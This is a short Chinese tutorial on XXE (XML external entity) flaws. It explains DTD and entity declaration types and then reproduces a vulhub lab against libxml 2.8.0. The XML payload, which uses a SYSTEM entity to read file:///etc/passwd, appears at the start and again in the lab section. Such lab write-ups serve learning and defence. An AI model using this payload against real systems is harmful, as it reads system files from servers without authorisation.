xxe漏洞浅谈以及复现
一、xxe利用部分
<?xml version="1.0" encoding="utf-8"?> ————> xml声明 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> ————> DTD部分 <user> <name>&xxe;</name> </user> ————> xml部分
我们主要利用DTD中的实体部分
1、什么是DTD呢?
文档定义类型(DTD)1、定义元素(对应下xml中的标签) 2、定义实体(对应xml中内容)
note.dtd中包含了标签note(根元素)、to、from等
2、两种外部文档说明(DTD)
1、 当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
2、 如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
3、四种实体声明
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
<!DOCTYPE foo
[ <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright[ <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]><reset> <login>&test;</login> <secret>login</secret> </reset>
上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。
3. 参数实体声明
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [ <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" > <!ENTITY xxe "%body;"> ]>
<reset>
<secret>login</secret>
</reset>
参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。
允许包含外部实体,就可能存在XXE 攻击。
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
4. 公共实体声明
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
上述如果我们可以将恶意代码放入自定实体中(entities.dtd)
二、复现vulhub中xxe漏洞
查看libxml版本为2.8.0
Web目录为./www
,其中包含4个文件:
$ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php
、SimpleXMLElement.php
、simplexml_load_string.php
均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
利用payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
xxe漏洞浅谈以及复现相关推荐
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- php反序列化绕过,浅谈php反序列化漏洞
关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...
- rails 调用php函数_潜藏在PHP安全的边缘——浅谈PHP反序列化漏洞
潜藏在PHP安全的边缘--浅谈PHP反序列化漏洞 注意事项:1.本篇文章由复眼小组的瞳话原创,未经允许禁止转载2.本文一共1376字,8张图,预计阅读时间6分钟3.本文比较基础,请大佬酌情观看,如果有 ...
- 浅谈Windows XP系统漏洞的封堵
浅谈Windows XP系统漏洞的封堵 2010年11月18日 9号 浏览:96次 发表评论 阅读评论 微软WindowsXP自出世以来就在中国市场中获得了广泛好评和客户的认同,它出色的兼容性和 ...
- 计算机网络安全漏洞及防范措施论文,浅谈计算机网络安全漏洞及防范措施论文.doc...
浅谈计算机网络安全漏洞及防范措施 摘要 随着系统信息化建设的飞速发展,网络的建设和应用得到了广泛的普及,随之而来的计算机网络安全也成为了关系公共机关管理和发展的重大问题,如何从技术.管理等方面加强对计 ...
- 用友GRP-u8 XXE 漏洞复现
0x00 漏洞描述 用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件. 0x01 漏洞利用条件 无需登录 0x02 漏洞复现 POC: ...
- Xxe漏洞 php,PhpSpreadsheet 1.5.0 XXE漏洞复现及分析
0x01 前言 PhpSpreadsheet是一个非常流行的纯 PHP 类库,能够让你方便的读写Excel.LibreOffic Calc等表格格式的文件,是PHPExcel的替代者.2018年11月 ...
- 从春节12响浅谈漏洞利用
春节12响是2019大年初一上映的电影<流浪地球>中的一个桥段,天才少年李11通过黑客技术,获得行星发动机控制权,从而拯救地球的故事. 本文简介了unix操作系统内核定时器事件.epoll ...
- 浅谈云上攻防 --SSRF 漏洞带来的新威胁
前言 在<浅谈云上攻防--元数据服务带来的安全挑战>一文中,生动形象的为我们讲述了元数据服务所面临的一系列安全问题,而其中的问题之一就是通过SSRF去攻击元数据服务:文中列举了2019年美 ...
最新文章
- How to write an operating system
- 大二上学期总结计算机专业,计算机学生的大二第二学期自我总结-自我总结
- html图像特征提取,图像识别之图像特征提取
- git语言包安装_Git分布式版本管理系统快速入门指南
- python处理ncdc气象数据并利用arcgis可视化
- 百度昆仑AI芯片已完成研发:明年初量产 由三星代工
- php 虚类,减伤、虚弱类技能汇总 - 游戏服务区 - 《洛克王国》官方论坛 - Powered by Discuz!...
- 浙大学霸本科生顶会研究!只需20分钟音频,AI就能逼真模仿你的声音
- Collection如何转成stream以及Spliterator对其操作的实现
- Python matplot画散列图
- Controller的生命周期是Transient还是PerWebRequest?
- 利用工作流给Windows SharePoint Service 3.0添加Skype通知功能
- 科普:国产芯片、芯片生产设备、通讯标准前世今生(转载)
- B-树、B+树、B*树
- word自动生成目录步骤之详细介绍,csdn首发!!!!!
- 目标检测基础:好文推荐
- FireFox浏览器渗透测试插件
- java 线程池超时_Java线程池停止超时任务
- NVIDIA GPGPU vs AMD Radeon HD Graphics执行模式对比
- 滴滴快车奖励政策,高峰奖励,翻倍奖励,按成交率,指派单数分级(10月17日~10月23日)...